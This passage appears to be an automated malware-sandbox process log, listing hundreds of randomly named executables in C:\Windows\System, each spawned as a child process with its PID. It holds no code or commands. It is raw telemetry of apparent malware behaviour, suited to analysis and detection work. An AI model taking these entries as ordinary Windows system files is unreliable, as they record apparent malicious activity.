  C:\Windows\System\fWYNKSg.exe
  2⤵
  PID:7068
- C:\Windows\System\cSiqZfG.exe
  C:\Windows\System\cSiqZfG.exe
  2⤵
  PID:7084
- C:\Windows\System\vOzAqxU.exe
  C:\Windows\System\vOzAqxU.exe
  2⤵
  PID:7100
- C:\Windows\System\YYCAbqH.exe
  C:\Windows\System\YYCAbqH.exe
  2⤵
  PID:7120
- C:\Windows\System\dzAdRUr.exe
  C:\Windows\System\dzAdRUr.exe
  2⤵
  PID:7136
- C:\Windows\System\HjeCMfc.exe
  C:\Windows\System\HjeCMfc.exe
  2⤵
  PID:7152
- C:\Windows\System\QjceNcG.exe
  C:\Windows\System\QjceNcG.exe
  2⤵
  PID:4364
- C:\Windows\System\rDodUVo.exe
  C:\Windows\System\rDodUVo.exe
  2⤵
  PID:5988
- C:\Windows\System\hzXnwcW.exe
  C:\Windows\System\hzXnwcW.exe
  2⤵
  PID:4992
- C:\Windows\System\KUsFnDG.exe
  C:\Windows\System\KUsFnDG.exe
  2⤵
  PID:5648
- C:\Windows\System\ZkCndhE.exe
  C:\Windows\System\ZkCndhE.exe
  2⤵
  PID:5528
- C:\Windows\System\fbKqjRV.exe
  C:\Windows\System\fbKqjRV.exe
  2⤵
  PID:6152
- C:\Windows\System\EJcTjPW.exe
  C:\Windows\System\EJcTjPW.exe
  2⤵
  PID:6248
- C:\Windows\System\MXmsBbR.exe
  C:\Windows\System\MXmsBbR.exe
  2⤵
  PID:6308
- C:\Windows\System\DHxJpJk.exe
  C:\Windows\System\DHxJpJk.exe
  2⤵
  PID:5168
- C:\Windows\System\fsXjtrX.exe
  C:\Windows\System\fsXjtrX.exe
  2⤵
  PID:5204
- C:\Windows\System\nBkgFCJ.exe
  C:\Windows\System\nBkgFCJ.exe
  2⤵
  PID:6344
- C:\Windows\System\emNkgVA.exe
  C:\Windows\System\emNkgVA.exe
  2⤵
  PID:5288
- C:\Windows\System\CWnaftx.exe
  C:\Windows\System\CWnaftx.exe
  2⤵
  PID:2212
- C:\Windows\System\DLjIjao.exe
  C:\Windows\System\DLjIjao.exe
  2⤵
  PID:5396
- C:\Windows\System\kBORtEq.exe
  C:\Windows\System\kBORtEq.exe
  2⤵
  PID:5444
- C:\Windows\System\HKhRttB.exe
  C:\Windows\System\HKhRttB.exe
  2⤵
  PID:5508
- C:\Windows\System\thoPERb.exe
  C:\Windows\System\thoPERb.exe
  2⤵
  PID:5592
- C:\Windows\System\NryeZQh.exe
  C:\Windows\System\NryeZQh.exe
  2⤵
  PID:5272
- C:\Windows\System\ISjVgOk.exe
  C:\Windows\System\ISjVgOk.exe
  2⤵
  PID:5680
- C:\Windows\System\ChiwBMD.exe
  C:\Windows\System\ChiwBMD.exe
  2⤵
  PID:5752
- C:\Windows\System\Nxnxouc.exe
  C:\Windows\System\Nxnxouc.exe
  2⤵
  PID:5828
- C:\Windows\System\xITOEfU.exe
  C:\Windows\System\xITOEfU.exe
  2⤵
  PID:5864
- C:\Windows\System\sNXJOdW.exe
  C:\Windows\System\sNXJOdW.exe
  2⤵
  PID:5928
- C:\Windows\System\gfiTPZt.exe
  C:\Windows\System\gfiTPZt.exe
  2⤵
  PID:5968
- C:\Windows\System\TTIEsCF.exe
  C:\Windows\System\TTIEsCF.exe
  2⤵
  PID:6040
- C:\Windows\System\lvlXjNy.exe
  C:\Windows\System\lvlXjNy.exe
  2⤵
  PID:6084
- C:\Windows\System\clmMIRD.exe
  C:\Windows\System\clmMIRD.exe
  2⤵
  PID:6124
- C:\Windows\System\Bslccyy.exe
  C:\Windows\System\Bslccyy.exe
  2⤵
  PID:1288
- C:\Windows\System\MNwaMNk.exe
  C:\Windows\System\MNwaMNk.exe
  2⤵
  PID:3688
- C:\Windows\System\IjcqEst.exe
  C:\Windows\System\IjcqEst.exe
  2⤵
  PID:4744
- C:\Windows\System\cyhhyBn.exe
  C:\Windows\System\cyhhyBn.exe
  2⤵
  PID:6376
- C:\Windows\System\avkbyFY.exe
  C:\Windows\System\avkbyFY.exe
  2⤵
  PID:5532
- C:\Windows\System\rgDDwlb.exe
  C:\Windows\System\rgDDwlb.exe
  2⤵
  PID:5736
- C:\Windows\System\EFnClvU.exe
  C:\Windows\System\EFnClvU.exe
  2⤵
  PID:5916
- C:\Windows\System\sppDbsy.exe
  C:\Windows\System\sppDbsy.exe
  2⤵
  PID:4552
- C:\Windows\System\cxWNcNr.exe
  C:\Windows\System\cxWNcNr.exe
  2⤵
  PID:5420
- C:\Windows\System\LnvmzdX.exe
  C:\Windows\System\LnvmzdX.exe
  2⤵
  PID:2684
- C:\Windows\System\jrookmQ.exe
  C:\Windows\System\jrookmQ.exe
  2⤵
  PID:6164
- C:\Windows\System\ykLggEL.exe
  C:\Windows\System\ykLggEL.exe
  2⤵
  PID:6228
- C:\Windows\System\oNkkQBe.exe
  C:\Windows\System\oNkkQBe.exe
  2⤵
  PID:6292
- C:\Windows\System\pLsUkeQ.exe
  C:\Windows\System\pLsUkeQ.exe
  2⤵
  PID:6356
- C:\Windows\System\clBgxGF.exe
  C:\Windows\System\clBgxGF.exe
  2⤵
  PID:6392
- C:\Windows\System\xTWPWRf.exe
  C:\Windows\System\xTWPWRf.exe
  2⤵
  PID:6396
- C:\Windows\System\tfrNTLn.exe
  C:\Windows\System\tfrNTLn.exe
  2⤵
  PID:6464
- C:\Windows\System\SVyXWXO.exe
  C:\Windows\System\SVyXWXO.exe
  2⤵
  PID:6484
- C:\Windows\System\nsCrRAv.exe
  C:\Windows\System\nsCrRAv.exe
  2⤵
  PID:6528
- C:\Windows\System\uSjQoAq.exe
  C:\Windows\System\uSjQoAq.exe
  2⤵
  PID:6516
- C:\Windows\System\RxyQJXk.exe
  C:\Windows\System\RxyQJXk.exe
  2⤵
  PID:6564
- C:\Windows\System\Lvnmops.exe
  C:\Windows\System\Lvnmops.exe
  2⤵
  PID:6584
- C:\Windows\System\TjJBeJt.exe
  C:\Windows\System\TjJBeJt.exe
  2⤵
  PID:6644
- C:\Windows\System\bIjdNUh.exe
  C:\Windows\System\bIjdNUh.exe
  2⤵
  PID:6676
- C:\Windows\System\dhhaSWC.exe
  C:\Windows\System\dhhaSWC.exe
  2⤵
  PID:6708
- C:\Windows\System\lYkcefb.exe
  C:\Windows\System\lYkcefb.exe
  2⤵
  PID:6804
- C:\Windows\System\uDSJpsO.exe
  C:\Windows\System\uDSJpsO.exe
  2⤵
  PID:6692
- C:\Windows\System\bEERToI.exe
  C:\Windows\System\bEERToI.exe
  2⤵
  PID:6900
- C:\Windows\System\dqLIJip.exe
  C:\Windows\System\dqLIJip.exe
  2⤵
  PID:6660
- C:\Windows\System\VqUZtIm.exe
  C:\Windows\System\VqUZtIm.exe
  2⤵
  PID:6964
- C:\Windows\System\otEZQPy.exe
  C:\Windows\System\otEZQPy.exe
  2⤵
  PID:6760
- C:\Windows\System\mFtquEw.exe
  C:\Windows\System\mFtquEw.exe
  2⤵
  PID:6920
- C:\Windows\System\qJFAvLP.exe
  C:\Windows\System\qJFAvLP.exe
  2⤵
  PID:6852
- C:\Windows\System\cwtcBIH.exe
  C:\Windows\System\cwtcBIH.exe
  2⤵
  PID:7000
- C:\Windows\System\kTXzofl.exe
  C:\Windows\System\kTXzofl.exe
  2⤵
  PID:6980
- C:\Windows\System\xzFfayX.exe
  C:\Windows\System\xzFfayX.exe
  2⤵
  PID:7016
- C:\Windows\System\zqtvPcd.exe
  C:\Windows\System\zqtvPcd.exe
  2⤵
  PID:7064
- C:\Windows\System\nQvWHQC.exe
  C:\Windows\System\nQvWHQC.exe
  2⤵
  PID:7132
- C:\Windows\System\hFsNbNR.exe
  C:\Windows\System\hFsNbNR.exe
  2⤵
  PID:7112
- C:\Windows\System\uSHugPd.exe
  C:\Windows\System\uSHugPd.exe
  2⤵
  PID:5264
- C:\Windows\System\ITWmsTL.exe
  C:\Windows\System\ITWmsTL.exe
  2⤵
  PID:6184
- C:\Windows\System\VHsyKoI.exe
  C:\Windows\System\VHsyKoI.exe
  2⤵
  PID:1696
- C:\Windows\System\jWuhegt.exe
  C:\Windows\System\jWuhegt.exe
  2⤵
  PID:6148
- C:\Windows\System\RbgWXEq.exe
  C:\Windows\System\RbgWXEq.exe
  2⤵
  PID:6340
- C:\Windows\System\BRHNDUQ.exe
  C:\Windows\System\BRHNDUQ.exe
  2⤵
  PID:5356
- C:\Windows\System\dHlklRS.exe
  C:\Windows\System\dHlklRS.exe
  2⤵
  PID:5284
- C:\Windows\System\TVdoLfT.exe
  C:\Windows\System\TVdoLfT.exe
  2⤵
  PID:5364
- C:\Windows\System\ZFWRUlg.exe
  C:\Windows\System\ZFWRUlg.exe
  2⤵
  PID:5788
- C:\Windows\System\dfgURVV.exe
  C:\Windows\System\dfgURVV.exe
  2⤵
  PID:6004
- C:\Windows\System\npqnaRJ.exe
  C:\Windows\System\npqnaRJ.exe
  2⤵
  PID:1824
- C:\Windows\System\cuGPFhI.exe
  C:\Windows\System\cuGPFhI.exe
  2⤵
  PID:1192
- C:\Windows\System\hTtPnac.exe
  C:\Windows\System\hTtPnac.exe
  2⤵
  PID:5636
- C:\Windows\System\rcjwtrB.exe
  C:\Windows\System\rcjwtrB.exe
  2⤵
  PID:5716
- C:\Windows\System\cfhoUFW.exe
  C:\Windows\System\cfhoUFW.exe
  2⤵
  PID:5936
- C:\Windows\System\UTVdmym.exe
  C:\Windows\System\UTVdmym.exe
  2⤵
  PID:6324
- C:\Windows\System\LUKDrGe.exe
  C:\Windows\System\LUKDrGe.exe
  2⤵
  PID:6408
- C:\Windows\System\RYSPTbf.exe
  C:\Windows\System\RYSPTbf.exe
  2⤵
  PID:6536
- C:\Windows\System\yKPPmlW.exe
  C:\Windows\System\yKPPmlW.exe
  2⤵
  PID:6136
- C:\Windows\System\WnJGctP.exe
  C:\Windows\System\WnJGctP.exe
  2⤵
  PID:6260
- C:\Windows\System\lORwPkj.exe
  C:\Windows\System\lORwPkj.exe
  2⤵
  PID:6776
- C:\Windows\System\oeslSBl.exe
  C:\Windows\System\oeslSBl.exe
  2⤵
  PID:6744
- C:\Windows\System\nAUAazD.exe
  C:\Windows\System\nAUAazD.exe
  2⤵
  PID:6416
- C:\Windows\System\XIjtdwS.exe
  C:\Windows\System\XIjtdwS.exe
  2⤵
  PID:1480
- C:\Windows\System\XKpkcVR.exe
  C:\Windows\System\XKpkcVR.exe
  2⤵
  PID:6552
- C:\Windows\System\ZpZkigN.exe
  C:\Windows\System\ZpZkigN.exe
  2⤵
  PID:6712
- C:\Windows\System\ibhKVyg.exe
  C:\Windows\System\ibhKVyg.exe
  2⤵
  PID:6728
- C:\Windows\System\benesMZ.exe
  C:\Windows\System\benesMZ.exe
  2⤵
  PID:6888
- C:\Windows\System\weRzAET.exe
  C:\Windows\System\weRzAET.exe
  2⤵
  PID:6948
- C:\Windows\System\CgOWCFk.exe
  C:\Windows\System\CgOWCFk.exe
  2⤵
  PID:7080
- C:\Windows\System\WYACwOP.exe
  C:\Windows\System\WYACwOP.exe
  2⤵
  PID:7108
- C:\Windows\System\TviWOIm.exe
  C:\Windows\System\TviWOIm.exe
  2⤵
  PID:2440
- C:\Windows\System\LARCWAJ.exe
  C:\Windows\System\LARCWAJ.exe
  2⤵
  PID:5164
- C:\Windows\System\qOyiWdH.exe
  C:\Windows\System\qOyiWdH.exe
  2⤵
  PID:2460
- C:\Windows\System\fMyEASK.exe
  C:\Windows\System\fMyEASK.exe
  2⤵
  PID:5436
- C:\Windows\System\XBSfcxw.exe
  C:\Windows\System\XBSfcxw.exe
  2⤵
  PID:708
- C:\Windows\System\lrEJfLY.exe
  C:\Windows\System\lrEJfLY.exe
  2⤵
  PID:5664
- C:\Windows\System\inEZUzR.exe
  C:\Windows\System\inEZUzR.exe
  2⤵
  PID:2076
- C:\Windows\System\FHZsTcs.exe
  C:\Windows\System\FHZsTcs.exe
  2⤵
  PID:5324
- C:\Windows\System\HEdkkyc.exe
  C:\Windows\System\HEdkkyc.exe
  2⤵
  PID:6680
- C:\Windows\System\GBkmFvB.exe
  C:\Windows\System\GBkmFvB.exe
  2⤵
  PID:5416
- C:\Windows\System\PlOLMBK.exe
  C:\Windows\System\PlOLMBK.exe
  2⤵
  PID:6968
- C:\Windows\System\UvYFDHD.exe
  C:\Windows\System\UvYFDHD.exe
  2⤵
  PID:6836
- C:\Windows\System\efRMuFs.exe
  C:\Windows\System\efRMuFs.exe
  2⤵
  PID:6824
- C:\Windows\System\YaZyjxJ.exe
  C:\Windows\System\YaZyjxJ.exe
  2⤵
  PID:5948
- C:\Windows\System\dchKGMn.exe
  C:\Windows\System\dchKGMn.exe
  2⤵
  PID:5136
- C:\Windows\System\PcDTSdT.exe
  C:\Windows\System\PcDTSdT.exe
  2⤵
  PID:5896
- C:\Windows\System\YIwRRcH.exe
  C:\Windows\System\YIwRRcH.exe
  2⤵
  PID:5476
- C:\Windows\System\weiQSds.exe
  C:\Windows\System\weiQSds.exe
  2⤵
  PID:2740
- C:\Windows\System\QThTGah.exe
  C:\Windows\System\QThTGah.exe
  2⤵
  PID:6080
- C:\Windows\System\BDdNYxM.exe
  C:\Windows\System\BDdNYxM.exe
  2⤵
  PID:6808
- C:\Windows\System\ICbVmet.exe
  C:\Windows\System\ICbVmet.exe
  2⤵
  PID:4700
- C:\Windows\System\uHaiDZE.exe
  C:\Windows\System\uHaiDZE.exe
  2⤵
  PID:4384
- C:\Windows\System\qhsPiTi.exe
  C:\Windows\System\qhsPiTi.exe
  2⤵
  PID:5232
- C:\Windows\System\vAVyveq.exe
  C:\Windows\System\vAVyveq.exe
  2⤵
  PID:6932
- C:\Windows\System\NIQhWlt.exe
  C:\Windows\System\NIQhWlt.exe
  2⤵
  PID:5440
- C:\Windows\System\wUikyvs.exe
  C:\Windows\System\wUikyvs.exe
  2⤵
  PID:4548
- C:\Windows\System\gDNqEDs.exe
  C:\Windows\System\gDNqEDs.exe
  2⤵
  PID:6452
- C:\Windows\System\jqKpdec.exe
  C:\Windows\System\jqKpdec.exe
  2⤵
  PID:7076
- C:\Windows\System\ZgzVTpK.exe
  C:\Windows\System\ZgzVTpK.exe
  2⤵
  PID:5308
- C:\Windows\System\WeUUVVm.exe
  C:\Windows\System\WeUUVVm.exe
  2⤵
  PID:4752
- C:\Windows\System\ahVcnQb.exe
  C:\Windows\System\ahVcnQb.exe
  2⤵
  PID:4088
- C:\Windows\System\iDTKFRF.exe
  C:\Windows\System\iDTKFRF.exe
  2⤵
  PID:5856
- C:\Windows\System\mHflmnk.exe
  C:\Windows\System\mHflmnk.exe
  2⤵
  PID:5392
- C:\Windows\System\zyLfqwB.exe
  C:\Windows\System\zyLfqwB.exe
  2⤵
  PID:6200
- C:\Windows\System\KzKfnoP.exe
  C:\Windows\System\KzKfnoP.exe
  2⤵
  PID:6696
- C:\Windows\System\sqtXbAB.exe
  C:\Windows\System\sqtXbAB.exe
  2⤵
  PID:7012
- C:\Windows\System\czcUzzh.exe
  C:\Windows\System\czcUzzh.exe
  2⤵
  PID:7096
- C:\Windows\System\LMKxdhJ.exe
  C:\Windows\System\LMKxdhJ.exe
  2⤵
  PID:2636
- C:\Windows\System\AXcoWnM.exe
  C:\Windows\System\AXcoWnM.exe
  2⤵
  PID:6116
- C:\Windows\System\bkUlMak.exe
  C:\Windows\System\bkUlMak.exe
  2⤵
  PID:5228
- C:\Windows\System\BmnWSmY.exe
  C:\Windows\System\BmnWSmY.exe
  2⤵
  PID:5860
- C:\Windows\System\ZEmHMbB.exe
  C:\Windows\System\ZEmHMbB.exe
  2⤵
  PID:6264
- C:\Windows\System\BbgPcJS.exe
  C:\Windows\System\BbgPcJS.exe
  2⤵
  PID:4728
- C:\Windows\System\asQxaqY.exe
  C:\Windows\System\asQxaqY.exe
  2⤵
  PID:7148
- C:\Windows\System\BmzNNcb.exe
  C:\Windows\System\BmzNNcb.exe
  2⤵
  PID:4732
- C:\Windows\System\HCiFEfv.exe
  C:\Windows\System\HCiFEfv.exe
  2⤵
  PID:6612
- C:\Windows\System\LZcEKwS.exe
  C:\Windows\System\LZcEKwS.exe
  2⤵
  PID:4712
- C:\Windows\System\QjovbFc.exe
  C:\Windows\System\QjovbFc.exe
  2⤵
  PID:6432
- C:\Windows\System\aMzpDtc.exe
  C:\Windows\System\aMzpDtc.exe
  2⤵
  PID:2096
- C:\Windows\System\lHhvGYB.exe
  C:\Windows\System\lHhvGYB.exe
  2⤵
  PID:6872
- C:\Windows\System\cScEteG.exe
  C:\Windows\System\cScEteG.exe
  2⤵
  PID:860
- C:\Windows\System\mXGCZCu.exe
  C:\Windows\System\mXGCZCu.exe
  2⤵
  PID:7180
- C:\Windows\System\IllmbXa.exe
  C:\Windows\System\IllmbXa.exe
  2⤵
  PID:7200
- C:\Windows\System\OugrenN.exe
  C:\Windows\System\OugrenN.exe
  2⤵
  PID:7220
- C:\Windows\System\jMFNpYH.exe
  C:\Windows\System\jMFNpYH.exe
  2⤵
  PID:7236
- C:\Windows\System\fvivETN.exe
  C:\Windows\System\fvivETN.exe
  2⤵
  PID:7252
- C:\Windows\System\kKlTLdA.exe
  C:\Windows\System\kKlTLdA.exe
  2⤵
  PID:7268
- C:\Windows\System\cPYRskp.exe
  C:\Windows\System\cPYRskp.exe
  2⤵
  PID:7288
- C:\Windows\System\dvCDeDc.exe
  C:\Windows\System\dvCDeDc.exe
  2⤵
  PID:7304
- C:\Windows\System\DNCAHlt.exe
  C:\Windows\System\DNCAHlt.exe
  2⤵
  PID:7324
- C:\Windows\System\iEDqSDc.exe
  C:\Windows\System\iEDqSDc.exe
  2⤵
  PID:7348
- C:\Windows\System\VLWfdSO.exe
  C:\Windows\System\VLWfdSO.exe
  2⤵
  PID:7372
- C:\Windows\System\YOPaCEq.exe
  C:\Windows\System\YOPaCEq.exe
  2⤵
  PID:7392
- C:\Windows\System\yuktGHm.exe
  C:\Windows\System\yuktGHm.exe
  2⤵
  PID:7408
- C:\Windows\System\FJyTTHx.exe
  C:\Windows\System\FJyTTHx.exe
  2⤵
  PID:7424
- C:\Windows\System\Jodjpam.exe
  C:\Windows\System\Jodjpam.exe
  2⤵
  PID:7440
- C:\Windows\System\AytGDWX.exe
  C:\Windows\System\AytGDWX.exe
  2⤵
  PID:7456
- C:\Windows\System\eZRLONu.exe
  C:\Windows\System\eZRLONu.exe
  2⤵
  PID:7472
- C:\Windows\System\UJvdbkI.exe
  C:\Windows\System\UJvdbkI.exe
  2⤵
  PID:7492
- C:\Windows\System\RInplWB.exe
  C:\Windows\System\RInplWB.exe
  2⤵
  PID:7508
- C:\Windows\System\rAhMBLq.exe
  C:\Windows\System\rAhMBLq.exe
  2⤵
  PID:7524
- C:\Windows\System\uBpzyCv.exe
  C:\Windows\System\uBpzyCv.exe
  2⤵
  PID:7540
- C:\Windows\System\oPIYroo.exe
  C:\Windows\System\oPIYroo.exe
  2⤵
  PID:7556
- C:\Windows\System\yqXjVgh.exe
  C:\Windows\System\yqXjVgh.exe
  2⤵
  PID:7572
- C:\Windows\System\JdTYXPl.exe
  C:\Windows\System\JdTYXPl.exe
  2⤵
  PID:7588
- C:\Windows\System\MCKAlJi.exe
  C:\Windows\System\MCKAlJi.exe
  2⤵
  PID:7604
- C:\Windows\System\NxHzpDp.exe
  C:\Windows\System\NxHzpDp.exe
  2⤵
  PID:7620
- C:\Windows\System\exQkOXH.exe
  C:\Windows\System\exQkOXH.exe
  2⤵
  PID:7636
- C:\Windows\System\gMkwTPv.exe
  C:\Windows\System\gMkwTPv.exe
  2⤵
  PID:7652
- C:\Windows\System\oPlieVF.exe
  C:\Windows\System\oPlieVF.exe
  2⤵
  PID:7668
- C:\Windows\System\bJmlMBq.exe
  C:\Windows\System\bJmlMBq.exe
  2⤵
  PID:7684
- C:\Windows\System\XBBQMEl.exe
  C:\Windows\System\XBBQMEl.exe
  2⤵
  PID:7700
- C:\Windows\System\wnpUkBI.exe
  C:\Windows\System\wnpUkBI.exe
  2⤵
  PID:7716
- C:\Windows\System\YTCKTtn.exe
  C:\Windows\System\YTCKTtn.exe
  2⤵
  PID:7732
- C:\Windows\System\OKGUjAU.exe
  C:\Windows\System\OKGUjAU.exe
  2⤵
  PID:7748
- C:\Windows\System\mcqSNSb.exe
  C:\Windows\System\mcqSNSb.exe
  2⤵
  PID:7768
- C:\Windows\System\zISDrrI.exe
  C:\Windows\System\zISDrrI.exe
  2⤵
  PID:7784
- C:\Windows\System\mQbPklh.exe
  C:\Windows\System\mQbPklh.exe
  2⤵
  PID:7800
- C:\Windows\System\WIHiAVd.exe
  C:\Windows\System\WIHiAVd.exe
  2⤵
  PID:7816
- C:\Windows\System\IjKDHMP.exe
  C:\Windows\System\IjKDHMP.exe
  2⤵
  PID:7832
- C:\Windows\System\GzwysPJ.exe
  C:\Windows\System\GzwysPJ.exe
  2⤵
  PID:7848
- C:\Windows\System\OIvjNmj.exe
  C:\Windows\System\OIvjNmj.exe
  2⤵
  PID:7864
- C:\Windows\System\PHjqByf.exe
  C:\Windows\System\PHjqByf.exe
  2⤵
  PID:7880
- C:\Windows\System\LzMwvXW.exe
  C:\Windows\System\LzMwvXW.exe
  2⤵
  PID:7896
- C:\Windows\System\XljLsio.exe
  C:\Windows\System\XljLsio.exe
  2⤵
  PID:7912
- C:\Windows\System\JhhgYTc.exe
  C:\Windows\System\JhhgYTc.exe
  2⤵
  PID:7928
- C:\Windows\System\VNyXSvl.exe
  C:\Windows\System\VNyXSvl.exe
  2⤵
  PID:7944
- C:\Windows\System\iinkEjz.exe
  C:\Windows\System\iinkEjz.exe
  2⤵
  PID:7960
- C:\Windows\System\ZqHbacH.exe
  C:\Windows\System\ZqHbacH.exe
  2⤵
  PID:7976
- C:\Windows\System\KROMNKk.exe
  C:\Windows\System\KROMNKk.exe
  2⤵
  PID:7992
- C:\Windows\System\NLHazrd.exe
  C:\Windows\System\NLHazrd.exe
  2⤵
  PID:8016
- C:\Windows\System\paCvCHs.exe
  C:\Windows\System\paCvCHs.exe
  2⤵
  PID:8032
- C:\Windows\System\OUwXJEu.exe
  C:\Windows\System\OUwXJEu.exe
  2⤵
  PID:8056
- C:\Windows\System\CTYJtSp.exe
  C:\Windows\System\CTYJtSp.exe
  2⤵
  PID:8072
- C:\Windows\System\KnkCiXz.exe
  C:\Windows\System\KnkCiXz.exe
  2⤵
  PID:8088
- C:\Windows\System\snrDwXk.exe
  C:\Windows\System\snrDwXk.exe
  2⤵
  PID:8116
- C:\Windows\System\egxJfVy.exe
  C:\Windows\System\egxJfVy.exe
  2⤵
  PID:8132
- C:\Windows\System\gjiVulc.exe
  C:\Windows\System\gjiVulc.exe
  2⤵
  PID:8148
- C:\Windows\System\PEBmjwm.exe
  C:\Windows\System\PEBmjwm.exe
  2⤵
  PID:8164
- C:\Windows\System\JXQSscd.exe
  C:\Windows\System\JXQSscd.exe
  2⤵
  PID:8180
- C:\Windows\System\pjZGEiV.exe
  C:\Windows\System\pjZGEiV.exe
  2⤵
  PID:7048
- C:\Windows\System\NtkPsli.exe
  C:\Windows\System\NtkPsli.exe
  2⤵
  PID:4696
- C:\Windows\System\bOZyNbo.exe
  C:\Windows\System\bOZyNbo.exe
  2⤵
  PID:7244
- C:\Windows\System\utvAOdn.exe
  C:\Windows\System\utvAOdn.exe
  2⤵
  PID:7276
- C:\Windows\System\wdMxxCZ.exe
  C:\Windows\System\wdMxxCZ.exe
  2⤵
  PID:7280
- C:\Windows\System\slFRYFP.exe
  C:\Windows\System\slFRYFP.exe
  2⤵
  PID:7296
- C:\Windows\System\OtzQVNt.exe
  C:\Windows\System\OtzQVNt.exe
  2⤵
  PID:7300
- C:\Windows\System\pcpAcah.exe
  C:\Windows\System\pcpAcah.exe
  2⤵
  PID:7336
- C:\Windows\System\ZTedYpy.exe
  C:\Windows\System\ZTedYpy.exe
  2⤵
  PID:7368
- C:\Windows\System\YoRmEvK.exe
  C:\Windows\System\YoRmEvK.exe
  2⤵
  PID:7436
- C:\Windows\System\rrGjqRn.exe
  C:\Windows\System\rrGjqRn.exe
  2⤵
  PID:7532
- C:\Windows\System\EhOKakq.exe
  C:\Windows\System\EhOKakq.exe
  2⤵
  PID:7596
- C:\Windows\System\OYVZddz.exe
  C:\Windows\System\OYVZddz.exe
  2⤵
  PID:7664
- C:\Windows\System\DXPHmud.exe
  C:\Windows\System\DXPHmud.exe
  2⤵
  PID:7724
- C:\Windows\System\WgIFgvD.exe
  C:\Windows\System\WgIFgvD.exe
  2⤵
  PID:7384
- C:\Windows\System\rDJjcYV.exe
  C:\Windows\System\rDJjcYV.exe
  2⤵
  PID:7128
- C:\Windows\System\QTfwDVt.exe
  C:\Windows\System\QTfwDVt.exe
  2⤵
  PID:7856
- C:\Windows\System\aXcXfgx.exe
  C:\Windows\System\aXcXfgx.exe
  2⤵
  PID:7380
- C:\Windows\System\dPRKdMb.exe
  C:\Windows\System\dPRKdMb.exe
  2⤵
  PID:7452
- C:\Windows\System\RLZCZqN.exe
  C:\Windows\System\RLZCZqN.exe
  2⤵
  PID:7520
- C:\Windows\System\ckthfaL.exe
  C:\Windows\System\ckthfaL.exe
  2⤵
  PID:7776
- C:\Windows\System\frQvQbE.exe
  C:\Windows\System\frQvQbE.exe
  2⤵
  PID:7548
- C:\Windows\System\SEFecnY.exe
  C:\Windows\System\SEFecnY.exe
  2⤵
  PID:7616
- C:\Windows\System\xIftdiW.exe
  C:\Windows\System\xIftdiW.exe
  2⤵
  PID:7984
- C:\Windows\System\KesYTKE.exe
  C:\Windows\System\KesYTKE.exe
  2⤵
  PID:7708
- C:\Windows\System\DqGpSVK.exe
  C:\Windows\System\DqGpSVK.exe
  2⤵
  PID:7808
- C:\Windows\System\kbUyvEl.exe
  C:\Windows\System\kbUyvEl.exe
  2⤵
  PID:7908
- C:\Windows\System\YPNtafH.exe
  C:\Windows\System\YPNtafH.exe
  2⤵
  PID:7936
- C:\Windows\System\AjakNST.exe
  C:\Windows\System\AjakNST.exe
  2⤵
  PID:8008
- C:\Windows\System\whfkYaH.exe
  C:\Windows\System\whfkYaH.exe
  2⤵
  PID:8080
- C:\Windows\System\FcGlvIO.exe
  C:\Windows\System\FcGlvIO.exe
  2⤵
  PID:8104
- C:\Windows\System\kpCUnAh.exe
  C:\Windows\System\kpCUnAh.exe
  2⤵
  PID:8144
- C:\Windows\System\pfaEZEw.exe
  C:\Windows\System\pfaEZEw.exe
  2⤵
  PID:4392
- C:\Windows\System\xgstBpT.exe
  C:\Windows\System\xgstBpT.exe
  2⤵
  PID:7260
- C:\Windows\System\SCEvBIv.exe
  C:\Windows\System\SCEvBIv.exe
  2⤵
  PID:7404
- C:\Windows\System\RgMReWr.exe
  C:\Windows\System\RgMReWr.exe
  2⤵
  PID:7208
- C:\Windows\System\lGwQeRf.exe
  C:\Windows\System\lGwQeRf.exe
  2⤵
  PID:7468
- C:\Windows\System\OCPEfjb.exe
  C:\Windows\System\OCPEfjb.exe
  2⤵
  PID:7568
- C:\Windows\System\Vtziqne.exe
  C:\Windows\System\Vtziqne.exe
  2⤵
  PID:7388
- C:\Windows\System\ifsxGvt.exe
  C:\Windows\System\ifsxGvt.exe
  2⤵
  PID:7484
- C:\Windows\System\RDSURJY.exe
  C:\Windows\System\RDSURJY.exe
  2⤵
  PID:7364
- C:\Windows\System\WGrrzTA.exe
  C:\Windows\System\WGrrzTA.exe
  2⤵
  PID:7648
- C:\Windows\System\MDKcvsz.exe
  C:\Windows\System\MDKcvsz.exe
  2⤵
  PID:7760
- C:\Windows\System\XHinpoP.exe
  C:\Windows\System\XHinpoP.exe
  2⤵
  PID:7924
- C:\Windows\System\pcgOiAZ.exe
  C:\Windows\System\pcgOiAZ.exe
  2⤵
  PID:7824
- C:\Windows\System\febuuIL.exe
  C:\Windows\System\febuuIL.exe
  2⤵
  PID:7612
- C:\Windows\System\BUKuaIw.exe
  C:\Windows\System\BUKuaIw.exe
  2⤵
  PID:7844
- C:\Windows\System\hWCAoOI.exe
  C:\Windows\System\hWCAoOI.exe
  2⤵
  PID:7940
- C:\Windows\System\HUmgBme.exe
  C:\Windows\System\HUmgBme.exe
  2⤵
  PID:8048
- C:\Windows\System\yQphbcz.exe
  C:\Windows\System\yQphbcz.exe
  2⤵
  PID:8044
- C:\Windows\System\qHBWGKj.exe
  C:\Windows\System\qHBWGKj.exe
  2⤵
  PID:8156
- C:\Windows\System\TdyzaMr.exe
  C:\Windows\System\TdyzaMr.exe
  2⤵
  PID:7516
- C:\Windows\System\wziaDNK.exe
  C:\Windows\System\wziaDNK.exe
  2⤵
  PID:7316
- C:\Windows\System\zRrjELF.exe
  C:\Windows\System\zRrjELF.exe
  2⤵
  PID:7584
- C:\Windows\System\PgEbSKQ.exe
  C:\Windows\System\PgEbSKQ.exe
  2⤵
  PID:8912
- C:\Windows\System\niXYqgT.exe
  C:\Windows\System\niXYqgT.exe
  2⤵
  PID:8984
- C:\Windows\System\eiLrFsJ.exe
  C:\Windows\System\eiLrFsJ.exe
  2⤵
  PID:9000
- C:\Windows\System\KZCtZLy.exe
  C:\Windows\System\KZCtZLy.exe
  2⤵
  PID:9016
- C:\Windows\System\tdliamD.exe
  C:\Windows\System\tdliamD.exe
  2⤵
  PID:9032
- C:\Windows\System\iDXfJxV.exe
  C:\Windows\System\iDXfJxV.exe
  2⤵
  PID:9048
- C:\Windows\System\QjlTwuX.exe
  C:\Windows\System\QjlTwuX.exe
  2⤵
  PID:9064
- C:\Windows\System\ECDpLrZ.exe
  C:\Windows\System\ECDpLrZ.exe
  2⤵
  PID:9080
- C:\Windows\System\dplWcMB.exe
  C:\Windows\System\dplWcMB.exe
  2⤵
  PID:9096
- C:\Windows\System\ATcyymL.exe
  C:\Windows\System\ATcyymL.exe
  2⤵
  PID:9112
